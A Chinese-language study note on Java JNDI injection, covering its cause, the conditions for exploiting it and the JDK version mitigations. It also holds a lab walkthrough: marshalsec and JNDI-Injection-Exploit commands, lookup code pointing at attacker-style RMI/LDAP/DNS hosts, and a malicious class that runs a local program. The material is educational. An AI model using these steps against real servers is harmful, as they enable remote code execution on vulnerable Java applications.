第四十七天(jndi注入)
思考明白:
什么是jndi注入
JNDI(Java Naming and Directory Interface,Java 命名和目录接口)是 Java 提供的一套用于访问命名服务(如 RMI、LDAP、DNS 等)的 API,允许程序通过名称查找和获取远程资源(如对象、服务等)。
JNDI 注入指的是攻击者通过控制 JNDI 接口的输入参数(如lookup()方法的查询名称),将其修改为指向攻击者控制的恶意服务(如恶意 RMI/LDAP 服务器),诱导目标程序在解析名称时加载并执行恶意代码的攻击方式。
为什么有jndi注入
JNDI 注入的根源是早期 Java 版本中 JNDI 设计的安全性缺陷,主要体现在对远程资源加载的 “过度信任”:
- 远程类加载机制:JNDI 支持通过 RMI(远程方法调用)、LDAP(轻量级目录访问协议)等协议查找远程对象。在查找过程中,JNDI 会自动从远程服务器下载对象对应的类字节码,并通过ClassLoader加载到本地 JVM 中执行。
- 输入可控性:如果目标程序中InitialContext.lookup(name)方法的name参数(即查找的名称)可被攻击者控制(如来自用户输入、未过滤的参数等),攻击者可将name修改为指向自己的恶意 RMI/LDAP 服务器地址(如ldap://attacker.com/evil)。
- 早期版本无限制:Java 8u121 之前的版本中,默认允许从远程 URL 加载类(通过com.sun.jndi.rmi.object.trustURLCodebase等参数控制,默认值为true),导致恶意类可被直接加载执行。
JDNI注入安全问题
JNDI 注入的核心危害是远程代码执行(RCE),具体表现为:
- 任意代码执行:攻击者可通过恶意类执行任意系统命令(如删除文件、窃取数据、植入后门等),完全控制目标服务器。
- 内网渗透跳板:若目标服务器位于内网,攻击者可通过 RCE 进一步攻击内网其他设备,扩大影响范围。
- 绕过防护机制:JNDI 注入可绕过部分应用层防火墙(WAF),因为其利用的是 Java 底层 API 的特性,而非传统的 Web 输入点。
JDNI注入利用条件
要成功利用 JNDI 注入,需同时满足以下条件:
1.目标程序使用了 JNDI API:目标代码中调用了InitialContext.lookup()等 JNDI 查询方法,且查询的名称(name参数)可控(如来自用户输入、未过滤的参数等)。
// 危险:name参数可控(如来自用户输入)
String name = request.getParameter("param"); // 攻击者可控制param的值
Context ctx = new InitialContext();
Object obj = ctx.lookup(name); // 触发JNDI查询,若name为恶意URL则加载恶意类
2.目标 Java 版本存在漏洞:
- 若目标使用Java 8u121 之前的版本:默认允许远程加载类(trustURLCodebase=true),可直接利用。
- 若目标使用Java 8u121~Java 11:trustURLCodebase默认值为false,但可通过特殊构造的 RMI/LDAP 响应(如返回Reference对象指向本地已存在的恶意类)绕过部分限制。
- 若目标使用Java 11+(包括 17、21 等):彻底移除了远程加载未知类的能力,JNDI 注入基本无法直接利用。
3.攻击者可控恶意服务:攻击者需搭建恶意的 RMI/LDAP 服务器,用于返回包含恶意类的响应(如Reference对象指向恶意类的 URL)。
4.网络可达性:目标服务器需能访问攻击者的恶意 RMI/LDAP 服务器(即网络连通,无防火墙拦截)。
参考:安全技术系列之JNDI注入_jndi注入原理-CSDN博客
#JNDI注入-RMI&LDAP服务
JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 (常用的就是dns,ldap,rmi)
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
调用检索:
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。javax.naming.InitialContext.lookup()
在RMI服务中调用了InitialContext.lookup()的类有:
org.springframework.transaction.jta.JtaTransactionManager.readObject()
com.sun.rowset.JdbcRowSetImpl.execute()
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)
在LDAP服务中调用了InitialContext.lookup()的类有:
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()
lookup里面的值中的地址后面的是一个class文件的类名
#JNDI注入:
项目1:https://github.com/mbechler/marshalsec
1、编译调用对象
javac Test.java
先将要执行的操作写到一个java文件中,然后用编译器将它编译成class文件
点击终端,打开的是本地的,但是我这里输入不了命令,应该是哪里没设置好;之后点击comm这个一样可以用
直接来到java目录下输入javac 文件名.java 就好了, 提示什么api过时的不用管,过一会java下面就会多出一个class文件了
2、将生成的Class存放到和工具同级
在当前目录下创建个网站,让其有访问地址,模拟通过远程调用代码实现效果
访问一下,看是否正常
3、使用利用工具生成调用协议(rmi,ldap) (注意:协议要对应的上,不然执行不成功)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test
目标程序若存在 JNDI 注入,当调用lookup("ldap://攻击者IP:1389/xxx")时,会从http://192.168.1.100:8080/Evil.class下载并执行Evil类。
需配合:在http://192.168.1.100:8080上放置编译好的恶意类
/#恶意类名:恶意类的 URL(#后的名称需与类名一致)
输入命令启动工具:
1389/ 后面的那个x 是可以写成任意的一个或多个字母
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test
输入命令:
修改里面的协议和端口号
项目2:https://github.com/welk1n/JNDI-Injection-Exploit
命令: (后面的-A ......可以不写,
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx
java代码:
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JndiDeomo {
//本身源码中的jndi注入触发代码
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://192.168.25.1:1099/9umehn");
//反射调用方法触发jndi代码1
Class<?> aClass = Class.forName("com.sun.jndi.rmi.registry.RegistryContext");
Object o = aClass.newInstance();
aClass.getMethod("lookup", String.class).invoke(o, "dns://gjhlrcinwg.lfcx.eu.org");
//反射调用方法触发jndi代码2
Class<?> aClass1 = Class.forName("com.sun.rowset.JdbcRowSetImpl");
Object o1 = aClass1.newInstance();
aClass1.getMethod("setDataSourceName", String.class).invoke(o1, "rmi://192.168.25.1:1099/9umehn");
aClass1.getMethod("connect").invoke(o1);
}
}
输入命令后就会生成一些地址,将地址填进去,然后运行java文件就会弹出计算器
切换不同的协议,也是同样可以出现相同的效果
用yakit 实现dns协议的
JNDI注入手工:
//bind:将名称绑定到对象中;
//lookup:通过名字检索执行的对象;
//Reference类表示对存在于命名/目录系统以外的对象的引用。
//Reference参数:
//className:远程加载时所使用的类名;
//classFactory:加载的class中需要实例化类的名称;
//classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;
1、Server注册监听
Registry registry = LocateRegistry.createRegistry(779);
Reference reference = new Reference("Test", "Test", "http://127.0.0.1:999/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("RCE", wrapper);
2、Clinet连接触发
String uri = "rmi://127.0.0.1:779/RCE";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
3.攻击代码class文件
public class Test {
public Test() throws IOException {
Runtime.getRuntime().exec("notepad");
}}
先将编译好的class文件放到一个目录下
在文件目录下启动一个网站
再运行监听端口的代码
最后启动访问的代码:
这里的端口后面的calc 要和监听端口上面的registry.bind()方法里面的要一样,不然不会执行
#JDK高版本注入绕过:
就是有一些高版本是执行不了jdni的,因为里面的一些值被修改了,导致无法成功注入
JDK 6u45、7u21之后:
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加RMI ClassLoader安全性。
JDK 6u141、7u131、8u121之后:
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后:
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
高版本绕过:
见后续Java安全篇